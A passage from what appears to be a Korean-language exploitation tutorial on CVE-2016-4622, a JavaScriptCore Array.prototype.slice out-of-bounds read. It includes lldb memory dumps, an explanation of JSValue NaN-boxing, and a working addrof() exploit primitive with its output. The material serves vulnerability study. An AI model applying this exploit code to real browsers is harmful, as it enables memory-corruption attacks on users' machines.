\uc778\ub371\uc2a4\ub85c 10\uc744 \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><strong><code>arrayProtoFuncSlice<\/code><\/strong> \ud568\uc218\ub294 begin = 0\ubd80\ud130 end = 10\uae4c\uc9c0\uc758 \ubc94\uc704\ub85c <code>new_array<\/code>\ub97c \ub9cc\ub4e4\ub824\uace0 \uc2e4\ud589\uc744 \uacc4\uc18d\ud558\uc9c0\ub9cc, \uc6b0\ub9ac\uac00 \ub9cc\ub4e0 <code>**valueOf**<\/code>\uac00 \uc2e4\ud589\ub41c \ud0d3\uc5d0 **\ubc30\uc5f4 <code>a<\/code>**\ub294 \uc774\uc81c \ube44\uc5b4 \uc788\ub2e4.(length = 0).<\/p>\n<p>\uadf8 \uc0c1\ud0dc\uc5d0\uc11c <strong><code>fastSlice<\/code><\/strong> \ud568\uc218\uc758 **<code>memcpy<\/code>**\uac00 \ud638\ucd9c\ub418\uba74 \uc778\ub371\uc2a4 1\ubd80\ud130 10\uae4c\uc9c0\uc758 \uc778\uc811 \uba54\ubaa8\ub9ac\ub97c \ubcf5\uc0ac\ud558\uac8c \ub418\uace0, \uba54\ubaa8\ub9ac leak\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>\uc815\ub9ac\ud558\uc790\uba74,<\/p>\n<ol>\n<li>\uae38\uc774\uac00 100\uc778 **\ubc30\uc5f4 <code>a<\/code>**\ub97c \ub9cc\ub4e0\ub2e4.<\/li>\n<li><strong><code>arrayProtoFuncSlice<\/code><\/strong> \uc548\uc758 <strong><code>argumentClampedIndexFromStartOrEnd<\/code><\/strong> \ud568\uc218\uac00 <strong><code>toInteger()<\/code><\/strong> \ud568\uc218\ub97c \ud638\ucd9c\ud560 \ub54c \uc6b0\ub9ac\uac00 \uc218\uc815\ud55c \ubc84\uc804\uc758 **<code>valueOf<\/code>**\ub97c \uc2e4\ud589\ud558\uac8c \ub418\uace0, \uc774\uc81c <strong>\ubc30\uc5f4 a<\/strong>\ub294 \uae38\uc774\uac00 0\uc778 \ubc30\uc5f4\uc774 \ub418\uba70 end \uc778\ub371\uc2a4\ub85c \uc22b\uc790 10\uc774 \ubc18\ud658\ub41c\ub2e4.<\/li>\n<li>\uadf8\ub2e4\uc74c <strong><code>arrayProtoFuncSlice<\/code><\/strong> \uc548\uc5d0\uc11c <strong><code>fastSlice<\/code><\/strong> \ud568\uc218\uac00 \uc2e4\ud589\ub418\uace0, (<strong><code>fastSlice<\/code><\/strong> \ub0b4\ubd80\uc758) **<code>memcpy<\/code>**\ub294 \uae38\uc774\uac00 0\uc778 \ubc30\uc5f4\uc5d0\uc11c 0\ubd80\ud130 9\uae4c\uc9c0\ub97c \ubcf5\uc0ac\ud558\ub824\uace0 \uc2dc\ub3c4\ud55c\ub2e4. \uc0c8\ub85c\uc6b4 \ubc30\uc5f4 <code>a<\/code>\uc758 \ud06c\uae30\uac00 0\uc774\ubbc0\ub85c <code>a[0]<\/code>\ubd80\ud130 <code>a[9]<\/code>\uae4c\uc9c0\ub294 \ubc94\uc704\ub97c \ubc97\uc5b4\ub098\uba70, \ub530\ub77c\uc11c <code>memcpy<\/code> \ud568\uc218\ub294 **\ubc30\uc5f4 <code>a<\/code>**\uc758 \uc778\uc811 \uba54\ubaa8\ub9ac\ub97c \uc77d\uac8c \ub41c\ub2e4. \uc774\uac83\uc774 \ubc14\ub85c \uba54\ubaa8\ub9ac \ub204\uc218\uac00 \ubc1c\uc0dd\ud558\ub294 \uc774\uc720\uc774\ub2e4.<\/li>\n<\/ol>\n<p>\uadf8\ub9bc:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/Drawing_2026-08-26_11.19.29.excalidraw-fs8.png\" alt=\"Drawing 2026-08-26 11.19.29.excalidraw-fs8.png\"><\/p>\n<h1>JSC \uc258\uc5d0 \ub300\ud574 \ub354 \uc54c\uc544\ubcf4\uae30<\/h1>\n<h3><code>describe()<\/code>\ub97c \uc774\uc6a9\ud574\uc11c \ubc30\uc5f4 <code>a<\/code> \ub0b4\uc6a9\uc744 \ub364\ud504\ud574\ubcf4\uae30<\/h3>\n<p>JSC \uc258\uc5d0\uc11c \uc544\ub798\uc640 \uac19\uc774 \ubc30\uc5f4 <code>a<\/code>\uc5d0 <code>[1, 2, 3, 4]<\/code>\ub97c \ub123\uc5c8\ub2e4\uace0 \ud574\ubcf4\uc790.<\/p>\n<p><code>describe()<\/code>\ub294 JS \uac12\uc744 \uc5d4\uc9c4 \ub0b4\ubd80 \ud45c\ud604\uc73c\ub85c \ub364\ud504\ud574\uc900\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">seos-Mac:Debug seo$ sudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc\n(lldb) target create &quot;.\/jsc&quot;\nCurrent executable set to '.\/jsc' (x86_64).\n(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n(lldb) r\nProcess 806 launched: '.\/jsc' (x86_64)\n&gt;&gt;&gt; a = [1, 2, 3, 4]\n1,2,3,4\n&gt;&gt;&gt; describe(a)\nCell: 0x103847e30 (0x103833900:[Array, {}, ArrayWithInt32, Proto:0x103847f40]), ID: 159\n&gt;&gt;&gt; Process 806 stopped\n* thread #1: tid = 0x696b, 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP\n    frame #0: 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10\nlibsystem_kernel.dylib`read:\n-&gt;  0x7fff8b56c362 &lt;+10&gt;: jae    0x7fff8b56c36c            ; &lt;+20&gt;\n    0x7fff8b56c364 &lt;+12&gt;: movq   %rax, %rdi\n    0x7fff8b56c367 &lt;+15&gt;: jmp    0x7fff8b5657f2            ; cerror\n    0x7fff8b56c36c &lt;+20&gt;: retq\n<\/code><\/pre>\n<p>\uc67c\ucabd\ubd80\ud130 \uc21c\uc11c\ub300\ub85c,<\/p>\n<p>\uac01\uac01 JSCell \uc8fc\uc18c \/ Structure \uc8fc\uc18c \/ <code>classInfo()-&gt;className<\/code> \/ \ud504\ub85c\ud37c\ud2f0 \ud14c\uc774\ube14 \/ <code>m_indexingType<\/code> \/ \ud504\ub85c\ud1a0\ud0c0\uc785 \uc8fc\uc18c \/ structureID\ub97c \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">&gt;&gt;&gt; describe(a)\nCell: 0x103847e30 (0x103833900:[Array, {}, ArrayWithInt32, Proto:0x103847f40]), ID: 159\n&gt;&gt;&gt; Process 806 stopped\n<\/code><\/pre>\n<p>className\uc740 Array\uc774\ubbc0\ub85c, <code>*(JSC::JSArray*)<\/code> \ud0c0\uc785\uc744 \uce90\uc2a4\ud305\ud574\uc11c \uc0b4\ud3b4\ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">(lldb) p *(JSC::JSArray*)0x103847e30\n(JSC::JSArray) $0 = {\n  JSC::JSNonFinalObject = {\n    JSC::JSObject = {\n      JSC::JSCell = (m_structureID = 159, m_indexingType = '\\x05', m_type = ObjectType, m_flags = ' ', m_gcData = '\\x01')\n      m_butterfly = (m_value = 0x000000010381c3b0)\n    }\n  }\n}\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc11c butterfly \uc8fc\uc18c\ub294 0x000000010381c3b0\uc774\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">(lldb) p ((JSC::JSArray*)0x103847e30)-&gt;butterfly()\n(JSC::Butterfly *) $1 = 0x000000010381c3b0\n<\/code><\/pre>\n<p>\ub0b4\ubd80\uc801\uc73c\ub85c JSC\ub294 \ub3d9\uc77c\ud55c \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \uc18d\uc131\uacfc \uc694\uc18c\ub97c \ubaa8\ub450 \uc800\uc7a5\ud558\uace0, \uac1d\uccb4 \uc790\uccb4\ub294 \ud574\ub2f9 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \ub300\ud55c \ud3ec\uc778\ud130\ub97c \uc800\uc7a5\ud55c\ub2e4.<\/p>\n<p>\uc774 \ud3ec\uc778\ud130\ub294 \uc601\uc5ed\uc758 \ud55c \uac00\uc6b4\ub370\ub97c \uac00\ub9ac\ud0a4\uace0 \uc788\uc73c\uba70, \uc18d\uc131\uc740 \uc601\uc5ed\uc758 \uc67c\ucabd(\ub0ae\uc740 \uc8fc\uc18c), \uc694\uc18c\ub294 \uc624\ub978\ucabd\uc5d0 \uc800\uc7a5\ub41c\ub2e4. \ub610\ud55c \ud3ec\uc778\ud130\uac00 \uac00\ub9ac\ud0a8 \uc601\uc5ed \ubc14\ub85c \uc55e\uc5d0 \u2018length\u2019 \uc18d\uc131(\uc694\uc18c \ubca1\ud130\uc758 \uae38\uc774\ub97c \ud3ec\ud568\ud558\ub294 \uc791\uc740 \ud5e4\ub354)\uc774 \uc788\ub2e4.<\/p>\n<p>\uc774 \uac1c\ub150\uc740 \ub098\ube44\uc758 \ub0a0\uac1c\ucc98\ub7fc \uc67c\ucabd\uacfc \uc624\ub978\ucabd\uc73c\ub85c \uac12\uc774 \ud655\uc7a5\ub418\uae30 \ub54c\ubb38\uc5d0 \u201cButterfly\u201d \ub77c\uace0 \ubd88\ub9b0\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">--------------------------------------------------------\n.. | propY | propX | length | elem0 | elem1 | elem2 | ..\n--------------------------------------------------------\n                            ^\n                            |\n            +---------------+\n            |\n  +-------------+\n  | Some Object |\n  +-------------+\n<\/code><\/pre>\n<p>butterfly\ub97c \uc0b4\ud3b4\ubd24\uc744 \ub54c, \ubc30\uc5f4 \uc694\uc18c\ub294 \ucd1d 4\uac1c\uc774\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">(lldb) p ((JSC::JSArray*)0x103847e30)-&gt;butterfly()-&gt;publicLength()\n(uint32_t) $8 = 4\n<\/code><\/pre>\n<p><code>describeArray()<\/code>\ub85c\ub3c4 \ud655\uc778 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">&gt;&gt;&gt; describeArray(a)\n&lt;Public length: 4; vector length: 4&gt;\n<\/code><\/pre>\n<p>\ubc30\uc5f4 <code>a<\/code>\uc5d0 <code>[1, 2, 3, 4]<\/code>\ub97c \uc9c0\uc815\ud588\uae30 \ub54c\ubb38\uc5d0 \ub2e4\uc74c\uacfc \uac19\uc740 \uac12\ub4e4\uc774 \ub364\ud504\ub41c\ub2e4.<\/p>\n<p>\ubd80\ud638\uc788\ub294 32\ube44\ud2b8 \uc815\uc218\ub294 16\ube44\ud2b8 \ud0dc\uadf8\uc778 0xFFFF\uac00 \uc55e\uc5d0 \uc811\ub450\uc0ac\ub85c \ubd99\uc5ec\uc9c0\uba74\uc11c \ud45c\uc2dc\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">(lldb) x\/8gx 0x000000010381c3b0\n0x10381c3b0: 0xffff000000000001 0xffff000000000002\n0x10381c3c0: 0xffff000000000003 0xffff000000000004\n0x10381c3d0: 0x0000000000000000 0x0000000000000000\n0x10381c3e0: 0x0000000000000000 0x0000000000000000\n<\/code><\/pre>\n<p>JSC\uac00 \uc0ac\uc6a9\ud558\ub294 \uc2a4\ud0a4\ub9c8\ub294 <code>JSCJSValue.h<\/code> (<code>Source\\JavaScriptCore\\runtime\\JSCJSValue.h:344<\/code>)\uc5d0 \uc798 \uc124\uba85\ub418\uc5b4\uc788\ub2e4. \uc774\uc640 \uad00\ub828\ud55c \ubd80\ubd84\uc774 \ucd94\ud6c4 \uc911\uc694\ud558\uac8c \uc0ac\uc6a9\ub418\ubbc0\ub85c \uc544\ub798\uc5d0 \uc778\uc6a9\ud55c\ub2e4:<\/p>\n<blockquote>\n<p>\uc0c1\uc704 16\ube44\ud2b8\ub294 \uc778\ucf54\ub529\ub41c JSValue \uc758 \uc720\ud615\uc744 \ub098\ud0c0\ub0b8\ub2e4:<\/p>\n<pre><code>Pointer {  0000:PPPP:PPPP:PPPP\n       \/ 0001:****:****:****\nDouble  {         ...\n       \\ FFFE:****:****:****\nInteger {  FFFF:0000:IIII:IIII\n<\/code><\/pre>\n<p>double-precision \uac12\uc744 JSValue \ub85c \uc778\ucf54\ub529\ud558\ub824\uba74 double \uac12\uc5d0 2^48 \uc744 \ub354\ud574\uc11c 64\ube44\ud2b8 \ud615\ud0dc\ub85c \ud45c\ud604\ud558\uba74 \ub41c\ub2e4. \uc774 \uc870\uc791 \ud6c4\uc5d0 \uc778\ucf54\ub529\ub41c double-precision \uac12\uc740 0x0000 \ub610\ub294 0xFFFF \ud328\ud134\uc73c\ub85c \uc2dc\uc791\ud560 \uc218 \uc5c6\ub2e4. \uc0c1\uc704 16 \ube44\ud2b8\uac00 0x0001 &#8211; 0xFFFE \uc758 \ubc94\uc704\ub97c \uac16\ub294 \uac83\uc774\ub2e4. \uc774\ub807\uac8c \ub9cc\ub4e4\uc5b4\uc9c4 JSValue \uac12\ub4e4\ub85c \ucd94\uac00\uc801\uc778 \uc5f0\uc0b0\uc744 \ud558\uace0\uc790 \ud55c\ub2e4\uba74, \uba3c\uc800 \uc704 \uc778\ucf54\ub529\uc744 \uc5ed\uc73c\ub85c \uc218\ud589\ud558\uc5ec JSValue \uac12\uc744 double \uac12\uc73c\ub85c \ub514\ucf54\ub529\ud574\uc57c \ud55c\ub2e4.<\/p>\n<p>\ubd80\ud638\uc788\ub294 32\ube44\ud2b8 \uc815\uc218\ub294 16\ube44\ud2b8 \ud0dc\uadf8\uc778 0xFFFF\ub85c \ud45c\uc2dc\ub41c\ub2e4.<\/p>\n<p>0x0000 \ud0dc\uadf8\ub294 \ud3ec\uc778\ud130 \ub610\ub294 \ubc14\ub85c \ud0dc\uadf8\ub41c \uc0c1\uc218\uc758 \ub2e4\ub978 \ud615\ud0dc\ub97c \ub098\ud0c0\ub0b8\ub2e4. boolean, null \ubc0f undefined \uac12\uc740 \uc720\ud6a8\ud558\uc9c0 \uc54a\uc740 \ud2b9\uc815 \ud3ec\uc778\ud130 \uac12\uc73c\ub85c \ud45c\uc2dc\ub41c\ub2e4.<\/p>\n<pre><code>False:     0x06\nTrue:      0x07\nUndefined: 0x0a\nNull:      0x02          -&gt; 0000:0000:0000:0002\n<\/code><\/pre>\n<\/blockquote>\n<h3>poc \ucf54\ub4dc\ub97c \uc2e4\ud589\ud558\uc5ec \ubc30\uc5f4 <code>a<\/code> , <code>b<\/code> \ub0b4\uc6a9 \ub364\ud504\ud574\ubcf4\uae30<\/h3>\n<p><code>describe()<\/code>\uc73c\ub85c \ubc30\uc5f4 <code>a<\/code>\ub97c \ud655\uc778\ud574\ubd24\uc744\ub54c,<\/p>\n<p>JSCell \uc8fc\uc18c\ub294 0x103847e20, butterfly \uc8fc\uc18c\ub294 0x10381c9d0 \uc774\ub2e4.<\/p>\n<p>\ubc30\uc5f4 <code>b<\/code>\uc758 \uacbd\uc6b0,<\/p>\n<p>JSCell \uc8fc\uc18c\ub294 0x103847e10, butterfly \uc8fc\uc18c\ub294 0x10381c9e8 \uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">seos-Mac:Debug seo$ sudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc -i poc.jsc\n(lldb) target create &quot;.\/jsc&quot;\nCurrent executable set to '.\/jsc' (x86_64).\n(lldb) settings set -- target.run-args  &quot;-i&quot; &quot;poc.jsc&quot;\n(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n(lldb) r\nProcess 829 launched: '.\/jsc' (x86_64)\n0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0\n&gt;&gt;&gt; describe(a)\nCell: 0x103847e20 (0x103833890:[Array, {}, ArrayWithDouble, Proto:0x103847f40]), ID: 160\n&gt;&gt;&gt; describeArray(a)\n&lt;Public length: 0; vector length: 0&gt;\n&gt;&gt;&gt; print(a)\n\nundefined\n&gt;&gt;&gt; describe(b)\nCell: 0x103847e10 (0x103833890:[Array, {}, ArrayWithDouble, Proto:0x103847f40]), ID: 160\n&gt;&gt;&gt; describeArray(b)\n&lt;Public length: 10; vector length: 10&gt;\n&gt;&gt;&gt; print(b)\n0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0\nundefined\n&gt;&gt;&gt; Process 829 stopped\n* thread #1: tid = 0x746f, 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP\n    frame #0: 0x00007fff8b56c362 libsystem_kernel.dylib`read + 10\nlibsystem_kernel.dylib`read:\n-&gt;  0x7fff8b56c362 &lt;+10&gt;: jae    0x7fff8b56c36c            ; &lt;+20&gt;\n    0x7fff8b56c364 &lt;+12&gt;: movq   %rax, %rdi\n    0x7fff8b56c367 &lt;+15&gt;: jmp    0x7fff8b5657f2            ; cerror\n    0x7fff8b56c36c &lt;+20&gt;: retq\n(lldb) p *(JSC::JSArray*)0x103847e20\n(JSC::JSArray) $2 = {\n  JSC::JSNonFinalObject = {\n    JSC::JSObject = {\n      JSC::JSCell = (m_structureID = 160, m_indexingType = '\\a', m_type = ObjectType, m_flags = ' ', m_gcData = '\\x01')\n      m_butterfly = (m_value = 0x000000010381c9d0)\n    }\n  }\n}\n(lldb) p *(JSC::JSArray*)0x103847e10\n(JSC::JSArray) $3 = {\n  JSC::JSNonFinalObject = {\n    JSC::JSObject = {\n      JSC::JSCell = (m_structureID = 160, m_indexingType = '\\a', m_type = ObjectType, m_flags = ' ', m_gcData = '\\x01')\n      m_butterfly = (m_value = 0x000000010381c9e8)\n    }\n  }\n}\n<\/code><\/pre>\n<p>\uac01\uac01 \ubc30\uc5f4 a, b\uc5d0 \ub300\ud55c butterfly \ub364\ud504 \ub0b4\uc6a9\uc774\ub2e4.<\/p>\n<p>(poc \ucf54\ub4dc \uc911) <code>print(b)<\/code>\uc5d0\uc11c \ud45c\uc2dc\ub418\uc5c8\ub358 \ubc30\uc5f4 \uac12\ub4e4\uc774 \uc5ec\uae30\uc5d0 \uadf8\ub300\ub85c \ud45c\uc2dc\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/10fg 0x000000010381c9d0\n0x10381c9d0: 0.123\n0x10381c9d8: 1.123\n0x10381c9e0: 2.121995791459338E-313\n0x10381c9e8: 0.123\n0x10381c9f0: 1.123\n0x10381c9f8: 2.121995791459338E-313\n0x10381ca00: 0\n0x10381ca08: 0\n0x10381ca10: 0\n0x10381ca18: 0\n(lldb) x\/10fg 0x000000010381c9e8\n0x10381c9e8: 0.123\n0x10381c9f0: 1.123\n0x10381c9f8: 2.121995791459338E-313\n0x10381ca00: 0\n0x10381ca08: 0\n0x10381ca10: 0\n0x10381ca18: 0\n0x10381ca20: 0\n0x10381ca28: 0\n0x10381ca30: 0\n<\/code><\/pre>\n<h1><strong>\uc775\uc2a4\ud50c\ub85c\uc787 \uad6c\ucd95<\/strong><\/h1>\n<p>\ubc84\uadf8\ub294 \ub2e8\uc21c\ud55c Out-Of-Bounds Read\ucc98\ub7fc \ubcf4\uc774\uc9c0\ub9cc,<\/p>\n<p>\uc6b0\ub9ac\uac00 \uc6d0\ud558\ub294 JSValue \ub4e4\uc744 \uc0c8\ub85c \ub9cc\ub4e0 \uc790\ubc14\uc2a4\ud06c\ub9bd\ud2b8 \ubc30\uc5f4\uc5d0 \u201c\uc0bd\uc785\u201d\ud560 \uc218 \uc788\uace0, \uc774\ub294 \uace7 \uc5d4\uc9c4\uc5d0 \uadf8 \uac12\uc744 \uc8fc\uc785\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774 \ubc84\uadf8\ub97c \uc774\uc6a9\ud558\uc5ec \uc775\uc2a4\ud50c\ub85c\uc787\uc744 \uc704\ud55c 2\uac1c\uc758 \uae30\ucd08\ub2e8\uacc4\ub4e4\uc744 \uad6c\ucd95\ud55c\ub2e4.<\/p>\n<ol>\n<li>\uc784\uc758\uc758 \uc790\ubc14\uc2a4\ud06c\ub9bd\ud2b8 \uac1d\uccb4\uc758 \uc8fc\uc18c\ub97c \ub9ad\ud55c\ub2e4. \u2192 <code>addrof<\/code> \ub77c\uace0 \ubd80\ub978\ub2e4.<\/li>\n<li>\uc5d4\uc9c4 \uc548\uc5d0 \uac00\uc9dc \uc790\ubc14\uc2a4\ud06c\ub9bd\ud2b8 \uac1d\uccb4\ub97c \uc0bd\uc785\ud55c\ub2e4. \u2192 <code>fakeobj<\/code> \ub77c\uace0 \ubd80\ub978\ub2e4.<\/li>\n<\/ol>\n<p>JSC\uc758 butterfly \uc2ac\ub86f\uc740 8\ubc14\uc774\ud2b8\uc9c0\ub9cc, \uadf8 \ube44\ud2b8\ub97c \uc5b4\ub5bb\uac8c \uc77d\uc744\uc9c0\ub294 \uba54\ubaa8\ub9ac\uac00 \uc544\ub2c8\ub77c \uc140 \ud5e4\ub354\uc758 <code>m_indexingType<\/code> 1\ubc14\uc774\ud2b8\uac00 \uacb0\uc815\ud55c\ub2e4.<\/p>\n<p><code>ArrayWithDouble<\/code>\uc778 \ubc30\uc5f4\uc758 \uc6d0\uc18c\ub294 \ud0dc\uadf8 \uc5c6\ub294 <strong>native double \uadf8\ub300\ub85c<\/strong> \uc800\uc7a5\ub41c\ub2e4. \ubc18\uba74 \uadf8 \uc678\uc758 \ubaa8\ub4e0 \uc800\uc7a5 \uc704\uce58(<code>ArrayWithContiguous<\/code> \uc6d0\uc18c, \ub124\uc784\ub4dc \ud504\ub85c\ud37c\ud2f0, \uc778\ub77c\uc778 \uc2ac\ub86f)\ub294 <strong>NaN-boxing\ub41c JSValue<\/strong> \ud615\ud0dc\ub85c \uc800\uc7a5\ub41c\ub2e4.\nNaN-boxing\uc774\ub780, 64\ube44\ud2b8 \ud558\ub098\uc5d0 double \uac12\uacfc &quot;\uc774\uac74 double\uc774 \uc544\ub2c8\ub77c \ud3ec\uc778\ud130\/\uc815\uc218\ub2e4&quot;\ub77c\ub294 \ud0c0\uc785 \uc815\ubcf4\ub97c \ub3d9\uc2dc\uc5d0 \ub123\ub294 \uae30\ubc95\uc744 \ub9d0\ud55c\ub2e4. \uac19\uc740 \ube44\ud2b8\ub77c\ub3c4 \uc804\uc790\ub294 \uc2e4\uc218 \uac12\uc774\uc9c0\ub9cc \ud6c4\uc790\ub294 \uc0c1\uc704 16\ube44\ud2b8\uac00 \ud0dc\uadf8\ub85c \ud574\uc11d\ub41c\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \uba54\ubaa8\ub9ac \ub0b4\uc6a9\uc740 \uadf8\ub300\ub85c \ub454 \ucc44 <code>IndexingType<\/code>\ub9cc \ubc18\ub300\ub85c \uc778\uc2dd\uc2dc\ud0a4\uba74 \ub450 \ubc29\ud5a5\uc758 \uc6d0\uc2dc \uae30\ub2a5\uc774 \ub098\uc628\ub2e4.<\/p>\n<h2>addrof<\/h2>\n<p>\uc8fc\uc18c\uac12\uc744 \ub9ad\ud558\uae30 \uc704\ud574 \ud544\uc694\ud55c \ub2e8\uacc4\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<ol>\n<li>double \ud615 \ubc30\uc5f4\uc744 \uc0dd\uc131\ud55c\ub2e4. \uc774 \ubc30\uc5f4\uc740 <code>IndexingType<\/code>\uc774 <code>ArrayWithDouble<\/code>\ub85c \ubcf4\uad00\ub41c\ub2e4.<\/li>\n<li>\ub2e4\uc74c\uacfc \uac19\uc740 \uc791\uc5c5\uc744 \uc218\ud589\ud560 <code>valueOf<\/code> \ud568\uc218\ub97c \uac00\uc9c4 \uac1d\uccb4\ub97c \uc0dd\uc131\ud55c\ub2e4.\n<ol>\n<li>\uc774\uc804\uc5d0 \ub9cc\ub4e0 \ubc30\uc5f4\uc744 \ucd95\uc18c\ud55c\ub2e4.<\/li>\n<li>\uc0c8\ub85c\uc6b4 \ubc30\uc5f4\uc744 \ud560\ub2f9\ud558\uace0, \uc8fc\uc18c\ub97c \uc54c\uace0\uc790 \ud558\ub294 \uac1d\uccb4\ub97c \ubc30\uc5f4\uc5d0 \ub123\ub294\ub2e4. \uc774 \ubc30\uc5f4\uc740 \ub300\ubd80\ubd84\uc758 \uacbd\uc6b0 \ubcf5\uc0ac\ub41c \uacf5\uac04\uc5d0 \uc704\uce58\ud558\uace0 \uc788\uae30 \ub54c\ubb38\uc5d0, \uc55e\uc11c \ucd95\uc18c\ud55c \ubc30\uc5f4\uc758 Butterfly\uc758 \ubc14\ub85c \ub4a4\uc5d0 \uc704\uce58\ud560 \uac83\uc774\ub2e4.<\/li>\n<li>\ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70\ud558\uae30 \uc704\ud574 \ucd95\uc18c\ud55c \ubc30\uc5f4\uc758 \ud06c\uae30\ubcf4\ub2e4 \ud070 \uac12\uc744 \ub9ac\ud134\ud55c\ub2e4.<\/li>\n<\/ol>\n<\/li>\n<li>\ub300\uc0c1\uc774 \ub418\ub294 \ubc30\uc5f4\uc774 <code>slice()<\/code>\ub97c \ud638\ucd9c\ud560\ub54c 2\uc5d0\uc11c \uc0dd\uc131\ub41c \uac1d\uccb4\ub97c \uc778\uc790\uac12\uc73c\ub85c \uc0ac\uc6a9\ud55c\ub2e4.<\/li>\n<\/ol>\n<p>\uc774\uc81c \uc6b0\ub9ac\uac00 \ucc3e\uace0\uc790 \ud588\ub358 \uac1d\uccb4\uc758 \uc8fc\uc18c\uac12\uc774 64bit \ubd80\ub3d9\uc18c\uc218\uc810\uc758 \ud615\ud0dc\ub85c \ubc30\uc5f4 \ub0b4\uc5d0 \uc800\uc7a5\ub418\uc5b4 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p><code>slice()<\/code>\uac00 <code>IndexingType<\/code>\uc744 \ubcf4\uc874\ud558\uae30 \ub54c\ubb38\uc5d0 \uc0c8\ub85c\uc6b4 \ubc30\uc5f4\uc740 \ub370\uc774\ud130\ub97c \ub124\uc774\ud2f0\ube0c double \ud615\uc73c\ub85c \ucde8\uae09\ud558\uc5ec \ubd80\ub3d9\uc18c\uc218\uc810\uc758 \ud615\ud0dc\ub85c \ud45c\ud604\ub418\ub294 \uac83\uc774\ub2e4. \uc774\ub807\uac8c \uc784\uc758\uc758 JSValue \uc778\uc2a4\ud134\uc2a4,<\/p>\n<p>\uc989 \ud3ec\uc778\ud130\ub97c \ub9ad\ud560 \uc218 \uc788\uac8c \ub41c\ub2e4.<\/p>\n<p>\uad6c\ud604\ub41c <code>addrof<\/code> \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p><code>Int64_fromDouble<\/code>\uc740 double\uc758 \ube44\ud2b8 \ud328\ud134\uc744 \ud574\uc11d\ud558\uc9c0 \uc54a\uace0 \uadf8\ub300\ub85c 64\ube44\ud2b8 \uc815\uc218\ub85c \uc77d\uc5b4 hex \ubb38\uc790\uc5f4\ub85c \ubc18\ud658\ud55c\ub2e4.<\/p>\n<ul>\n<li>addrof.jsc<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">function Int64_fromDouble(d) {\n    var u = new Uint32Array(new Float64Array([d]).buffer);\n    var h = u[1].toString(16), l = u[0].toString(16);\n    while (h.length &lt; 8) h = '0' + h;\n    while (l.length &lt; 8) l = '0' + l;\n    return '0x' + h + l;\n}\n\nfunction addrof(object) {\n    var a = [];\n    for (var i = 0; i &lt; 100; i++)\n        a.push(i + 0.1337);\n    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});\n    for (var i = 0; i &lt; 4; i++)          \/\/ \uc778\ub371\uc2a4\ub97c \ub208\uc73c\ub85c \ud655\uc778\n        print(i + ': ' + Int64_fromDouble(b[i]));\n    return Int64_fromDouble(b[3]);\n}\n\nvar target = [1, 2, 3, 4];\nprint(describe(target));                \nprint(addrof(target));\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<p>\uc2a4\ud06c\ub9bd\ud2b8\uac00 \ucc0d\uc740 <code>describe(target)<\/code>\uc758 <code>Cell: 0x...<\/code>\uc640 <code>addrof(target)<\/code> \ubc18\ud658\uac12\uc774 \uc77c\uce58\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">seos-Mac:Debug seo$ sudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc -i addrof.jsc\n(lldb) target create &quot;.\/jsc&quot;\nCurrent executable set to '.\/jsc' (x86_64).\n(lldb) settings set -- target.run-args  &quot;-i&quot; &quot;addrof.jsc&quot;\n(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n(lldb) r\nProcess 860 launched: '.\/jsc' (x86_64)\nCell: 0x103c47e30 (0x103c33900:[Array, {}, ArrayWithInt32, Proto:0x103c47f40]), ID: 159\n0: 0x3fc11d14e3bcd35b\n1: 0x3ff223a29c779a6b\n2: 0x0000000400000001\n3: 0x0000000103c47e30\n0x0000000103c47e30\n<\/code><\/pre>\n<h2>addrof \ub514\ubc84\uae45<\/h2>\n<p>\ub514\ubc84\uae45 \uc2e4\ub825\uc5d0 \ub2a5\uc219\ud574\uc9c0\ub3c4\ub85d \ud55c\ubc88 